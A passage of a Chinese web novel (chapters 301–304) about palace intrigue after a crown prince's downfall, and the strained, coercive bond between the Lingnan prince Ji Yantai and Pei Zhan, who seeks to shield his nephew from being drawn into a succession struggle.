太子妃沉默地看着他跪伏在地,满头鲜血的狼狈模样,耳边响起那人的低语。 她垂着脑袋,无声默念:“是啊…… “只有冤枉你的人,才知道你有多冤枉。” 301、Chapter 301... 湛湛打复仇战,太子一倒,其他皇子要打排位战了,京城水浑了,燕台隔岸观火,美滋滋。 太子并没有谋反的意图。 准确地说,他现在还没升起谋反之心。 他是名正言顺的一国储君,生母贵为皇后,其他兄弟势弱,皆不敌他—就连那个不能生育的秘密,也只有他与皇后知晓。 皇后只有他一个亲子,只会帮他隐瞒。 后来又多了一个太子妃。 若不是姜家对他助力颇多,再加上姜芸久病难愈,命不久矣,又顾及姜家与自己牵连甚深,自觉闭口不言,他也不会让她活到现在了。 可是,他现在听到了什么? 太子捂着额头的伤口,血液淌到眉睫处,将他的视线一并染红。然而他已经顾不得伤口传来的刺疼了,只觉得浑身冰冷,后背升起凉意。 什么名单?什么金银?什么铁矿? 这些他都没做过! 他不曾贪污过朝廷的钱饷,只不过身为皇亲贵胄,底下人自觉奉上,有何不可?他至多是个失察之罪,根本无足轻重! 姜芸分明是记恨他让旁人…… 这个贱人是蓄意报复! 难不成是他的哪个好兄弟跟她搭上了线,详细谋划后,才给自己下了这么大的一个套? 太子张了张嘴,喉咙却没有发出任何声响。 原因无他。 只因姜芸与自己离心的真实缘由太过致命,他是决计不能说出口的。 混淆皇室血统…… 一旦让父皇知晓,他照样无缘大位。 太子沉了沉眸,竭力让自己冷静下来,高声辩驳道:“父皇,太子妃许是受奸人蒙蔽,这才在太后寿辰之际胡言乱语,欲让天下人看此笑话!” “欲加之罪,何患无辞。” “儿臣如今百口莫辩,望父皇命人彻查,还儿臣一个清白!” 话罢,他放下手,重重叩了一首。 地上的血痕更加刺目了。 皇帝先前是气昏了头,此刻见太子的额角鲜血汩汨,却仍是一副清者自清的模样,语气里还透出几分心灰意冷,不由得深吸一口气,按耐心绪。 他并非偏听、偏信之人。 然而,此刻是东宫太子妃强拖着病体,面呈御前,检举揭发太子诸多不法之事,桩桩件件,触目惊心,而非朝臣。 夫妻一体,荣辱与共。 听到那番话,他怎能不放在心上?! 皇帝沉着脸,眼底透出一丝冰冷与疑虑,当即下旨道:“来人,太子与太子妃身体不适,将二人送回东宫,若非圣令,任何人不得进出.…” 紧接着,他命侍卫严加看守东宫,更是直接明言不得有一人不明不白地死于东宫”,否则定要追查到底。 最后那四个字,他是盯着太子说的。 太子脸色一白,心知这是变相的圈禁,父子间的信任已荡然无存,自己能否恢复自由,都成了未知。 到底是谁在害他? 太子恶狠狠地瞪了一眼身边的女人,却碍于跟随在侧的太监总管,只得丢下一句,“你若还知晓轻重,就应当悬崖勒马,回头是岸!”.……三日后。 太后的寿辰如期而至。 此次宴席筹备了许久,宫中张灯结彩,笙歌鼎沸。百官身着朝服,依品阶列席,场面极尽奢华宏大,却掩不住那股弥散在空气中的压抑。 太子不在席上,对外宣称“抱病静养’。 也是巧了。 太子和太子妃一并病倒,不见人影。 御座上,帝后并坐,太后的脸上摆着慈祥仁和的笑,只是那笑意未达眼底,底下一众皇子们表面恭谨友爱,眼神却在空中频繁交汇,闪烁着难以掩饰的野望与算计。 原本太子独大,压得众皇子喘不过气。 眼下东宫有难,岂不是他们的好时候要到了? 大多朝臣眼观鼻,鼻观心,生怕行差踏错,引火烧身,太子派系更是食不下咽,还要强颜欢笑。 好一个众生百态啊。 整个晋西北都乱成一锅粥了jpg. 嵇燕台端坐在亲王席位上,神色淡淡地望着高台上的戏曲表演,仿佛与这一切的暗流汹涌,毫无干系。 他确实是什么都没干。 清白着呢。 裴允书被他留在宫外宅邸,未带入场。 周遭是其他几位王爷,都跟‘岭南王 有十来年没见了,当初仍是皇子时,他与几人的情谊便不深厚,如今见了面,也不过是草草招呼了几句。 还好。 目前还没人给他找不痛快。 嵇燕台视线微移,目光飞快地扫过下首群臣席位的某一处。 容含章。 主角裴湛的老师,正攻容阙的父亲。 在原著小说中,容含章冤死乱葬岗的下场,宛如压死骆驼的最后一根稻草,促使裴湛与容阙两人决意推翻晟朝,剑指最高者。 不过到那时候,他这个岭南王已经凉了。 比他上一世好一些,享年三十三岁。 他的俊俏小老婆带着他的遗产,跟武将竹马携手推翻了他家的政权统治,在这个白手起家的过程中,两人看对了眼,结成一对佳偶。 嵇燕台还能怎样? 还不是笑着把小老婆原谅。 自己给自己在脑内讲了一段相声,嵇燕台举杯轻饮,借着酒杯遮挡唇边笑意,见台上的青衣咿咿呀呀地唱念做打,不自觉想起了裴湛。 上次见面太匆忙,他没能尽兴。 他总不能在林子里就把人裤腰带扒了吧? 也不至于那么急色。 嵇燕台半敛着眸,脑中浮现那人在亭中煮茶的侧影。比起岭南初见那夜,裴湛的面容看起来更成熟了些,五官舒展,丰姿清朗。 皮相尤佳,骨相更盛。 无论是床上,或是床下,嵇燕台都不曾疏忽对他的教导,以至于裴湛那股子沉静的书卷气变了味道,说不出的味道。 勾人。藏着锋芒。 嵇燕台非常享受这个过程,手把手将那人教出来,猜着他会做出怎样的选择,逼着他做出自己想要的选择,又莫名期待着他做出不一样的选择。 可偏偏,他没得选。 嵇燕台光是看着他,就觉得快乐——看他坐在自己怀里微笑,送吻,将自己当做筹码送上,看似沉陷,那根脊骨却从未真正折断。两年间,嵇燕台就这么旁观着,俯视着,不紧不慢地往裴湛的后背投下石头。 一块,两块,三块…… 目前为止,裴湛表现得很好。单从演技方面来说,少说也是个现代青年影帝的水平。 嵇燕台品着酒,不自觉地眉梢微挑。 要不说自己是故事中的渣男前夫哥’呢? 裴湛跟容阙是两小无猜,同命相连,大可放心地交托彼此的后背与性命。 若是有求于对方,他应该不会自荐枕席,以身做筏,先把男人伺候高兴了,满足了,再低眉顺眼地提出要求,最后还不忘卖一卖乖吧? 可嵇燕台就吃这一套。 或许是在场众人的状态太过紧绷,反衬得嵇燕台姿态闲适,有种“事不关己,高高挂起 的轻盈之感,仿佛真的只是前来参加一场寿宴。也是。 他一个久居岭南的闲散王爷,手中无实权,座下无派系,远离京城朝堂十数年之久,哪能体会到那股风雨欲来的沉重? 无论太子此次能否过关,他与皇帝之间的信任都无法恢复如初,接下来的几年,京城乃至整个朝堂,都必将陷入夺嫡之争。 血雨腥风,已在所难免。 皇帝这几日的心情不佳,他想起那些呈到自己面前的奏报,又瞥见座下几张面孔,心中的火气是压了再压,才没当场发作。 他脸上带着笑,目光愈发冷。 倏然,他的视线扫过座下,冷不丁瞥见岭南王望着台上舞姬,唇边泛起的那抹浅笑…. 练出来了。宴至尾声。 “太后寿辰,朕心甚悦。” 皇帝忽然清了清嗓子,声音透过乐声,传遍大殿,“所幸借此吉日,朕将另一件喜事也一并宣了吧。“ 说完,他将目光转向嵇燕台, “岭南王。” 嵇燕台连忙放下酒杯,起身行礼:“臣在。” “你贵为亲王,身边却无正妻,膝下更是荒凉多年,太后时常与朕吐露忧心之语,情到深处,难免落泪,如今你既已寻回血脉……. 皇帝微微一顿,继续说: “虽出身微贱,且有哑疾,然终究是天家血脉,不可无名无分。” “朕今日便下旨,册封那孩子为岭南王世子,享亲王世子俸禄。另赏东海明珠一斛、江南贡缎百匹、黄金千两……. 皇帝洋洋洒洒说了一大堆,赏赐颇多。 这道旨意,看似皇恩浩荡,实则是赤裸裸的羞辱,将一个出身微贱,身有残疾的私生子当众册封为世子,侮辱谁呢? 更何况,嵇燕台早就跟皇帝说过,要等孩子治愈哑疾才承认是自己的亲子,冠以世子名号,现在来这一出,岂不是明晃晃的打脸? 淋过雨的狗皇帝决定撕烂别人的伞。 非常符合嵇燕台对皇权上位者的刻板印象,毕竟他自己也是这副模样。 嵇燕台垂着眸,在心里翻了个大大的白眼,他分明没动怒,却刻意握紧了袖中的手,手背上青筋隐现,仿佛压抑着极大的屈辱和怒意。 再抬起头时。 嵇燕台脸上已经摆上了恭敬忠君的神色,只是声音还没收敛好,带出一丝僵硬, “臣……谢主隆恩!” 皇帝看着他的反应,心中的郁气似乎舒畅了些许。殊不知,他亲自给裴允书过户的行为,正中嵇燕台的下怀。 若非如此,谁会在这种时候偷笑。 实在太没眼色了。 迁户口可是件大事,有人该着急咯。 当天深夜。 京城,鸿兴钱庄密室。 烛火摇曳,将裴湛的脸映得一片煞白。宫中的消息已通过特殊渠道急速传来,他声音干涩,喃喃自语道:“…册封世子?” 他的身前,是刚刚恢复全部记忆,还不知道这几年发生了什么事的容阙。 “清晏,怎么了?” 容阙下意识地抬起手,想要像年少时那样,轻拍裴湛的肩,却在半空中顿住。 记忆中,裴湛仍是少年模样,唇红齿白,眸光清亮,可如今的裴湛周身笼罩着一层他看不太懂的气息,沉郁又锐利。 片刻沉默后。 裴湛抬起眼,看向容阙,那双清冷的眸子里翻涌着极其复杂的情绪,他缓缓开口,语气决绝,带着孤注一掷的恳求, “—寻真,帮我。” 容阙没有一丝犹豫,应道:“好。” 302、Chapter 302 ... 比起裴湛的艰涩缓慢,容阙应得很快,几乎是不假思索的,一个好字脱口而出,掷地有声。 裴湛恍然一怔。 他与容阙自幼相识,年岁相当,但两人上一次见面已是五年前,且在此期间,容裴两家都发生了诸多变故,已不似从前。 ……有些事情似乎没有任何变化。 裴湛沉默片刻,复又抬眸望着身前的男人。昔日两人皆为少年,五年过去,他与容阙已至弱冠,容阙的身形更加挺括了,眉眼间多出几分坚毅,少了些不着调的顽劣。 望向自己时,神情笃定。 裴湛忍不住撇过头去,避开对方的视线,眼眶微热,低声道:“好什么,我还没说要你帮我做什么呢。” 容阙理所当然地反问:“那你说,难道我还会不答应吗?” 自从裴湛与他在紫光寺重逢,容阙便觉头痛难忍,脑中骤然浮现过往片段,陆陆续续,近日才厘清了自己的全部记忆与身份。 他当了五年的阿寻。 在此之前,他已经做了十五年的容阙。 只是不知为何,裴湛要他先行隐瞒恢复记忆之事,以及自己的真实身份,暂且不要返回容府,与父母亲眷相认,事后两人再磋商。 容阙信他,一口应了。 他从裴湛口中得知容府上下一切安好,便跟沈潮生告了假,随后一连数日都呆在鸿兴钱庄内,不曾踏出半步。 裴湛很忙,忙得脚不沾地。 像是在秘密谋划着什么。 容阙想起两人年少时的抱负,心中猜测他或许是当了大官,正在为当今圣上办差,再加上记忆碎片时不时冒出来,便没有多问什么。 是啊。话音刚落。当然了。原因有许多。亦或者说, 直至今夜。 宫中太后寿宴结束了。 裴湛终于返回鸿兴钱庄,容阙本不想急急忙忙地前去商量,却发现那人不曾歇一口气,烛火一直亮到了深夜还不火。 因此,他现在才站在这里。 也不知裴湛看到了什么消息,脸色一下子就白了,眸光深深,整个人有一瞬间的恍惚,说不上来的沉郁,像是有什么坏事终于应验了。 过往十数年间,容阙从未见过他这副模样,忍不住催促了一声,“快说吧,究竟是什么事难倒了你?” 迎着容阙的视线,裴湛竟有些难以启齿。 他闭了闭眼,开始向这位“死而复生’的故友讲述起了这五年的始末,从容阙护卫有功,坠河身死,到圣上是如何抚恤容家的。 容阙低声道:“是我不孝,让他们白发人送黑发人,又在外流离多年… 裴湛摇头,“这怎么能怪你?你重伤后坠入河中,后又失了忆,若非沈家少主将你救起,岂不是真的天人永隔?” 容阙想了想,又问:“清晏,我失踪多年,并非有意欺君,想必圣上也不会因此降罪于我,这应该不是你让我隐瞒身份的缘由吧?” 裴湛所防备的,并非宫中那位。 他深吸了一口气,道出了起因,“寻真,你这些年常在海船上,远离京城,怕是没有听说过……两年前裴家犯了谋逆之罪,已被满门抄斩。” 容阙一愣,顿时瞪大了双眼,“什么?!” 裴湛静了静,继续说:“当时刚过科举,我在殿上被钦点为探花,不曾想没过多久,便物是人非了。” “是老师为我极力奔走,举证我与谋逆全无干系,圣上又念在我在殿上所做的文章极佳,一心报效晟朝,这才格外开恩。” 死罪能免,活罪难逃。 裴湛抿紧唇,呼吸有些沉,“老师为我付出良多,为了让我免受刑罚,又上书表明我与你自小情投意合…….” 听到这里,容阙的呼吸也滞了一瞬。 裴湛顿了顿,满含歉意地道了声,….老师是为了救我,寻真,是我对不起你,让你死后的名声也保不住。” 容阙声量极低,“这有什么对不住的。” 裴湛默然片刻,继续往下说。 此后,他成了功臣容阙的男妻,功过相抵,只是永世不得回京,也无法再涉足朝堂。 此外,允书也侥幸活了下来。 这已经是不幸中的万幸了。 听着裴湛低声讲述自己与一块牌位拜了堂,随后带着病重的裴允书一路逃往岭南,数次遇险,容阙不自觉握紧了双拳,眼眶也红了几分。 “清晏,你受苦了。”他低低地唤了声。 与此同时,容阙的心里涌起一股复杂难言的情绪。他实在没想到,在自己一无所知的时候,他们两人竟会以这种方式捆绑在一起。 并非挚友,而是…….夫妻。 然而,裴湛接下来的话,仿佛一块巨石,将容阙刚升起的那点不合时宜的心绪彻底压下, “寻真,我辗转抵达岭南,为求生,我委身于岭南王嵇燕台,如今已是他的男妾。而在太后寿宴上,被陛下亲口册封为岭南王世子的稚儿……正是允书。” 容阙愣在原地,半晌没回神。 裴湛想起那件旧事,望向容阙的目光愈发愧疚了,轻声道:“岭南王曾逼迫我烧毁你的牌位,他知晓我的身份,若是知道你还活着,恐怕会对你不利…” 说完,裴湛又道一声,“对不起。” 屋内昏暗极了。 桌上那盏灯笼散发出温黄的光,却映不亮裴湛的眼眸。他说完这番话,一阵悔意悄然翻涌,恨自己心神动摇,一时嘴快,对容阙说出了那句话。 他已经连累容阙许多了。 裴湛抬起眸,改口道:“岭南王还在京中,眼下不是一个恢复身份的好时机,你先按兵不动,不要贸然现身,我先去打探一番…… “然后,你再回家。” 容阙静静看着他好一会儿,“生分了。” 裴湛与其四目相对,涩然一笑,“寻真,方才我说的那句话,你就当做没听见吧,我不想让你陷入这个大麻烦。” 容阙呼出一口浊气,“可我已经陷进来了。” “你不是说了么?”他握着拳,“岭南王连我的牌位都容不得,倘若知晓我尚在人世,又怎能不迁怒?” 容阙瞥了眼桌上的密信,直接问出口,“你这些天到底在做什么?能告诉我吗?” 裴湛默了默,撇去那些曲折离合,简单概括成一句话,“裴家谋逆实乃太子有意构陷,我来京是为了拉他下马。” 容阙接连听了数个大消息,神色已然不惊,只重重地抹了一把脸,“成功了?” 裴湛低声道:“胜券在握。” 容阙也干巴巴地应了声,“那就好。” 两人对视半晌,裴湛一时语塞,便转身挑起灯笼纱罩,用剪子剪去一段烛芯,那簇烛火顿时明亮了几分,摇摇曳曳。 容阙盯着他被烛光勾勒清晰的侧脸,忍不住说了句,“清晏,你跟从前相比.…长高了。” 这句话来得突然,与先前的话题截然不同,甚至有些格格不入。 裴湛瞥他一眼,压在心口的郁气却莫名消解了许多,不自觉露出一抹浅笑,“你也是,还变黑那么多了。” 容阙笑了笑,露出几颗白牙。 见裴湛的神情轻松了些,他定了定神,猝然问道:“你是不是……想让我助你脱离岭南王府,恢复自由身?” 令他没有想到的是, 裴湛抿着唇,缓慢地摇了摇头。 “我能暗中谋划这许多,都是岭南王给了我助力,我不能离开,”裴湛的语气很平静,仿佛事不关己,“他也不会让我离开的。” “是允书。” 裴湛认真道:“我想让允书离开岭南王府。” 老实说,岭南王对允书不差。 男人不仅为允书聘请众多医师调养身子,还送他大福,陪他游玩,比起某些王公贵族,岭南王对允书已是仁至义尽,堪比亲子。 但裴湛没想到,允书真会被册封为世子。 在知道这个消息的瞬间,裴湛只感到一阵惊惧自脚底油然升起。 其中最让裴湛忧虑的是—他在岭南王身边伺候了两年多,知晓那人心怀城府,格外熟练帝王心术,绝不是一个简单的闲散王爷。 他甘心永远做一个闲散王爷吗? 裴湛不曾对侄儿灌输过复仇与恨意,只盼望他能安然长大,喜乐平安,自然不愿他陷入一个比复仇还要恐怖的漩涡。 见身前的人像是想起了什么,怔然出神,容阙等了等,语气稍显迟疑,终究还是问出声,“岭南……他对你怎么样?有没有欺负你?” 裴湛:“…他对我很好。” 曾经那些折辱暂且不提,后来岭南王确实对他越来越好了,桩桩件件,裴湛记忆犹新。 他垂下眸,瞥向自己的右手腕。 那处只剩下一道淡淡的疤了。 常先生的祛疤药膏确有奇效,长年累月地用下来,疤痕淡得几乎看不见,用手去触碰,才能觉出皮肤微凸。 至于有没有欺负他…… 那人无非就是爱在床上折腾人。 可下了床,那人对他的教导很是上心,答题出了错,要用戒尺打他手心以示惩戒,打完了又抱着他哄,什么话都敢说出口。 裴湛本以为自己不在意的。 他不是生来就通学识的,也是一点一滴学起来的,幼时在老师门下,学问没有做好,偶尔也要受些训话和惩戒。 可岭南王非要哄他,搂着他说软话还不够,还为他吹手心,又向常先生讨要一款能即刻消肿的药膏,气得常先生吹胡子瞪眼,甩袖离开。 “你不打他,不就好了?!” 常先生不知在忙些什么,满身药味,头发和衣服都乱糟糟的,气急之下,连敬称都不顾上了。 男人被骂了一句,也不气,反而揽着他的腰低低地笑起来,又举起他的手,盯着上面被戒尺打出来的痕迹,轻声道:“那可不行,一定要打的。”裴湛沉默不语。 下一瞬,他又听到男人说, “现在不打,往后就该让别人打了,那些人可不像我下手有轻重,瞧你敛着一双眸子,安安静静不说话,更是软了心窍。” “哎,本王心疼着呢。” “但本王更不想湛湛行差踏错,丢了脑袋,只好严厉些啦。看来本王在榻上,或是在书房里,都是货真价实的严夫呢。” “湛湛,委屈么?” 说完,他冲裴湛的手心吹了好长一口气。 凉丝丝的。 压下了一跳一跳的顿疼。像脉搏 …. 裴湛怎么可能感到委屈。 且不论他与岭南王本就不是能够滋生委屈这一情绪的关系,更何况那人严苛教导他,是旁人都求不来的事情,他又如何能不明白? 为什么要委屈。凭什么要委屈。 裴湛忘了自己那时候说了什么,也可能什么都没说,他只是自顾自地抽回了手,沉默地坐回了桌案前,琢磨更好的破题之法。 他不可以委屈。 “清晏,你的手腕怎么了?” 一句话将裴湛拉出回忆。 习武之人的眼力都出挑,容阙循着裴湛的视线看向他的右手腕,很快觉出不对。 他猛地伸手,攥住裴湛的腕,将其举高,声音因愤怒而微微发抖,“这是怎么回事,难不成是岭南王做的?” 裴湛并未详细道出自己所受的磨难,眼见容阙误会了,他正要摇头解释,却恍然发觉容阙的面容变得模糊了。 莫名的,容阙的声音更加愤然, “清晏,你…… “若岭南王待你好,你为何要落泪,他到底对你做了什么可恨之事,才让你这般痛苦?!” 眼前晃过一道影子。 大概是容阙想给他擦拭眼泪。 裴湛下意识地避让了一下,侧过身,语调平静至极,听不出一点咽音,“与他无关,我不过是情不自禁。” “寻真,你还活着,我很高兴。“ …对不起。” 话毕,他又道了声歉。 不为别的,只因为岭南王当年逼迫他烧了容阙的牌位,那是裴湛第一次对他生出恨意,此后亦铭记于心,不敢忘怀。 时至今日,他确实没有忘。 只是除了恨,裴湛还有些怕 303、Chapter 303 ... 翻过夜,太后寿辰已成昨日。 宫中仍是张灯结彩的喜庆场面,民间亦津津乐道,只是对于某些人来说,昨夜绝对是一个不眠之夜,兴许忧思过度,辗转反侧到天明。 比如东宫太子。 又比如,被抢了孩子的某个人。 但不包括嵇燕台。 散席之后,他佯装脸上挂不住,跟太后祝了几句寿,表完孝心就出宫了,回府好一顿洗漱,悠闲躺下,睡了个饱。 皇帝心里不痛快,借着赏赐的名头恶心他,嵇燕台半点没放在心上—毕竟又不是他不能生,分明是裴湛的肚皮不争气,没动静。 他有什么可破防的? 可笑皇帝非要做足表面功夫,在宴上洋洋洒洒地赏了一大堆东西,以显自身的仁德。 还是太要面子了。 翌日,午前。宫中来了人。 领头的太监恭恭敬敬地站在一旁,监督底下人将赏赐抬入府门,嵇燕台领着裴允书接了旨,领过赏,下人们齐齐恭贺,唤他世子。 见此情形,裴允书下意识地牵住男人的手,抬头看过去,满脸的茫然。 他不知道自己为何一觉醒来,就摇身一变成了岭南王世子,还得了一个新名字。 嵇晨? 他分明叫裴允书啊。 嵇燕台将他带入内室,屏退左右,像是说小话那般凑到裴允书的耳边,低声问道:“小允书,你知不知道成为世子,意味着什么?” 裴允书已近七岁,自然明白。 他点点头,迟疑片刻后,牵过嵇燕台的手,在男人宽大的掌心写下几个字。 叔父,我有爹娘。'' 感受着掌心的触感,嵇燕台挑了挑眉。 两年间,裴允书从来不避讳对裴湛的思念,却从未提及亲生父母,仿佛已经融入了岭南王府的生活。 嵇燕台知道,并非如此。 裴允书不是不想念,只是不敢想,否则他也不会到现在还无法开口说话,稚嫩的嗓子曾在无数个夜晚里哭到喑哑。 家破人亡,好似一场突如其来的天灾。 裴湛从来没有告诉他此非天灾,而是人祸,显然是不想让复仇的火焰扭曲他幼小的心灵,只盼裴允书活得轻松些。 能挡的,他都替裴允书挡了。 正因如此,裴允书比原著里多了几分纯真。 嵇燕台笑了笑,继续跟小孩儿咬耳朵,“叔父知道允书有自己的爹娘,不过呢…小叔嫁给了叔父,可他并非女儿身,生不了小宝宝,会被别人笑话的。” 裴允书抿着唇,神情紧张起来。 嵇燕台又说:“叔父没有自己的小宝宝,只能去找别人生,就不会像现在这样只对小叔好了,那人说不定还会欺负小叔呢。” 裴允书用力摇头,表示抗拒。 嵇燕台拍了拍他的头顶,语调轻柔,懒洋洋地劝诱道:“所以呀,为了小叔,你愿不愿意扮演叔父的孩子呢?” 裴允书当然不会给出第二个答案。 他先是点头,紧接着又面露迟疑,嵇燕台适时道:“在外人面前装装样子就好,在府中你不必改口,继续唤叔父’和‘小叔’便是。” 反正裴允书现在又出不了声。 顶多写字和比划。 嵇燕台装完了慈祥叔父,不由得想起裴湛。 虽然出发点不同,但他们二人不约而同地在裴允书面前装样子,岁月静好,极有默契。 只不过裴湛比他更有长辈负担,生怕裴允书瞧见他身上的欢爱痕迹,反倒让嵇燕台更爱吮吻他的颈侧与耳后,没个收敛。 两三个月前,还是凛冬。 那时裴湛时常从密道离开岭南王府,一去就是数日,嵇燕台素了好些时日,来不及换地方,直接在书房里把人用了。 暖炉烧得热。 外头寒风凛冽,刮得厉害,嵇燕台将裴湛抱到书架后,适逢裴允书在隔壁小书房里上学,他取来一只毛笔,让裴湛咬住笔杆,止一止声儿。 哪里止得住。 随便拿块布条都比咬笔杆有用。 嵇燕台还在火上浇油,一字一句地叮嘱:“安静些,你那小崽子就在隔壁呢…先生教他礼义廉耻,君子风姿,你这小叔可要做个好榜样,切莫露馅了。” 裴湛终究还是瞒住了。 然而,当他松了口,那只毛笔的笔杆—原本光滑沁凉的笔杆上,赫然出现了几处凹痕,且沾了唾液,在灯下泛着亮晶晶的水光。 牙印不深,却很清晰。 隔天的午膳时间,裴湛束了个半披发,仍是被裴允书瞥见了耳后的点点痕迹,迎着稚童关切的视线,他低头喝粥,小声道了声, …无事,闹蚊子。” 当时,嵇燕台正伸着筷子夹菜,忍不住嗤地一声笑出来,那一筷子的菜抖落了个七七八,就剩下一根菜苗苗了。 被他放入裴湛的碗中。 裴湛下意识地看过来,嵇燕台冲他露出一抹玩味的笑,做了个口型, 骗小孩呢?'' 大冬天的,哪来的蚊子?'' 裴湛不应声,忽然守起了食不言的规矩,很快便敛起视线,继续低头喝粥。 说起来,那只毛笔至今还在嵇燕台的书桌上。 而裴湛的桌子上,则摆着裴允书特意送过来的防蚊虫叮咬的药膏,平白放了几个月,估计要等入了夏才能用。 思及此处,嵇燕台问裴允书,“你喜欢呆在这府中,还是喜欢岭南王府?” 裴允书不假思索地写了两个字。 岭南。 没过几日,官兵把守的城门口走出一条马车长队,许多百姓远远站在一旁看着,交头接耳,小声谈论着岭南王与他新册封的小世子。 后头跟了几车的赏赐,看得人眼热。 京城看似平静,实则透出一股暴风雨前夕的平静,嵇燕台只是前来贺寿,贺完了,自然拍拍屁股回了岭南。 又是一场长途滴滴。 正值春日,嵇燕台又不赶日子,自是一路走走停停,领着小哑巴世子吃喝玩乐,四处踏青,连大福都跑瘦了两斤,一身白毛灰扑扑的。 半路上,裴允书又在念叨着想小叔。 嵇燕台轻笑两声,应道:“放心吧,他也想着你,念着你,等我们回了岭南,他指定在王府里等着呢。” 闻言,裴允书点了点头,把带给小叔的风筝等小东西,原封不动地塞进一辆置物的马车。 里头已经不剩多少空间了。 还没到岭南,京城的消息便传了过来。 太子结党营私,私藏铁矿,不轨之心已是昭然若揭,圣上怒不可遏,下旨将其废除,许多朝臣一并获罪。 念在太子妃与姜家检举有功的份上,圣上特许她在寺庙中静养,又对姜家从轻发落,但也是罢官抄家,只留性命。 江南富商皆是松了一口气。 众人苦姜家久矣 太子一倒,京城的水彻底浑了。 嵇燕台已经可以预想到皇城中的暗流涌动,原本看似和谐的抱团小势力必然分裂,各自为政,图谋大位。 大概谁也想不到…… 这背后的推手,竟然是裴家那位探花吧。 裴湛算是交出了一份圆满的答卷。 不知道是不是裴允书成天念叨,嵇燕台居然也有点想见裴湛了。 于是,他命人加快进程,恰好在谷雨这天回到了岭南。 倒是应景。 天分明还大亮着,云层飘逸,却没由来地下起了一阵小雨,轻轻柔柔地浇下来,将马车扬起的尘土冲刷干净了。 雨幕微茫,像一层纱。 嵇燕台刚下马车,下人已经提前为他撑起油纸伞,他抬眸望向王府大门口,就见一道青衣人影伫立在匾下,那双眸被雨纱蒙住了,看不分明。生气了吧? 嵇燕台笑了笑,大步向前,侍女抱着裴允书跟在他身后,头顶也撑着伞。 刚入府,下人们便迎道:“恭迎王爷、世子回府!” 在王府中,嵇燕台的态度就是一切,本就没人敢苛待裴允书,但他的身份尴尬,颇有些不明不白的意味。 下人们先前都喊他‘小公子’。 现如今,裴允书的身份过了明路,算是王府中的正经主子了,地位比裴湛还高出一大截呢。 “备水,本王要洗漱。” 嵇燕台交代了一声,径直走到裴湛的身前,定定地看了几眼后,抬手抚摸他的侧脸,叹道:“湛湛,瘦了啊,这场病来得实在不巧。” 明面上,裴侍君抱了病,留在岭南静养,因此嵇燕台入京没有带上他。 嵇燕台意有所指地问:“什么时候好的?” 裴湛沉默地注视着他,应道:“前两日。” 哦。前两日才从密道返回岭南王府。 嵇燕台点点头,退开两步,让挣扎着下地的裴允书凑上去,跟分别多日的小叔亲近亲近。 裴湛蹲下来,跟小孩儿说了几句话,又唤连翘上前,将他带回屋洗漱更衣。 裴允书很听话,一步三回头地跟着连翘走了。 裴湛起身,又道:“我伺候王爷沐浴。” 嵇燕台笑着应道:“甚好。” “.… 大浴房内,裴湛跪坐在池边,撩起袖子,试过池中水温后,又来到嵇燕台身前为他宽衣解带,通头发。 嵇燕台坦荡荡地入了浴池。 他靠在被水汽蒸得温热的池壁上,舒坦地吐出了一口气,并懒怠地合上了双眼。 “哗啦啦。” 水声微响,波纹晃动,一下下打在他腰间。 嵇燕台半掀开眼帘,见裴湛也下了水,朝自己缓慢走来。他身上只披着一件素白的里衣,衣角被温水打湿后,湿哒哒地黏在身上。 很快,裴湛走到了嵇燕台身前,每一步都沉重极了,而嵇燕台就这么瞧着,唇角微勾,一副要笑不笑的模样。 “.…为什么要这么做?” 嵇燕台听到裴湛低声说着,语调平静,却莫名透出一丝藏得极深的波澜,“你已经借我的手除掉了太子,为什么还要把允书牵扯进来?”“是你和太子有仇啊。”嵇燕台提醒道。 与此同时,他冲裴湛抬起一只手,甩出一大片水珠,砸得池面噼啪作响。 裴湛默了默,坐进男人的怀里。 水声更响,波纹更晃。 裴湛用双臂紧紧抱着男人的脖颈,又将脸埋在他的肩窝处,颤声问道:“你……你是不是想等几位皇子内斗,两败俱伤之时,趁机入主皇城?” 半晌,嵇燕台才应声。 他先是将裴湛湿透的鬓发捋到耳后,又在裴湛的耳后落下轻吻,嗓音有些低哑,“没办法,我有心理阴影。” 嵇燕台往后靠,喉咙上下滚动,推出几声很畅快的笑,“受不了有人骑在我头上作威作福,给我找不痛快。” “显得我白活了似的。” “这种傻逼,我遇到一个杀一个。” 听到这话,裴湛的手指骤然收紧,指节微微泛白,他注视着笑意岑岑的男人,唇轻颤着,吐出一句话,“我做你的剑,怎么都好,放过允书。” …别把他卷进来。” 嵇燕台挑了挑眉,侧头吻去一滴滑落到裴湛下颌处的水珠,从容道:“好孩子只能听从大人的安排,没资格谈条件。” “湛湛,懂吗?” 304、Chapter 304... 再没有人比裴湛更懂这句话的含义。 在岭南王面前,他一直是个好孩子,也不得不做一个好孩子— 就连家破人亡的仇恨也被男人操控着、引导着、成为他听话的奖励。 岭南王并没有限制他的自由。 恰恰相反,男人亲手递给裴湛的那把钥匙,给了他隐秘出入岭南王府的极大自由,裴湛却觉得有一条无形的锁链扼住了自己的咽喉和四肢,让他形同牵线偶人。 这是一种无法掌控自己命运的沉重。 倘若这是为裴家枉死百来口人复仇的代价,那么裴湛甘之如饴,情愿将它担在肩上,接受岭南王居高临下的俯视与玩弄。 可他不能接受允书像自己一样。 在这两年的朝夕相处中,岭南王对他和允书有过爱护、关切、纵容,但这种感情实在太微不足道了,无法撼动男人的任何算计。 而他,也一样。 浴池中,裴湛被男人扶着,将一池尚存余温的水搅碎,有一滴水珠落到了他微启的唇瓣间,被他轻轻地抿去了。 微咸。有些苦涩。 无论那是什么,都太微不足道了. …… 沐浴过后,男人换了身舒适的寝衣,懒洋洋地打了个哈欠,眉眼间带着长途跋涉的疲惫,以及活动完筋骨的餍足。 侍女为他擦晾干头发,悄然退出内室。 他冲裴湛招了招手, “过来,陪本王午睡一会儿。” 裴湛知道男人在事后总会好说话两分,尤其他此刻的心情似乎很不错,嘴里还哼着一首曲调怪异的歌儿,便轻声道:“王爷,我想去看看允书。” “不知可否?” 嵇燕台已经先步躺上床了,闻言侧过脸,瞥见裴湛残留着一分薄红的眼尾和唇瓣,招手的动作一顿,改成挥手,像是在赶人, “算了,你去吧。” 他也不是多么冷酷无情的人。 得了允许,裴湛将自己收拾得能见人了,才轻手轻脚地迈出内室,往侧屋的方向走去。 裴允书也刚洗漱过,头发已经干了,没有束起来,顺滑地披在肩上。见裴湛进门,他当即下了椅子,冲过来抱住小叔的腰。 裴湛抬手摸了摸他的发顶,面上带笑。 裴允书比划了一会儿,又拉着他的手,前往存放此行物品的外间。裴湛极有耐心,看着裴允书向自己展示装了大半个马车的礼物,忍不住将他拢在身前,抱了一下。 这时,一只小手轻放在他腹间。 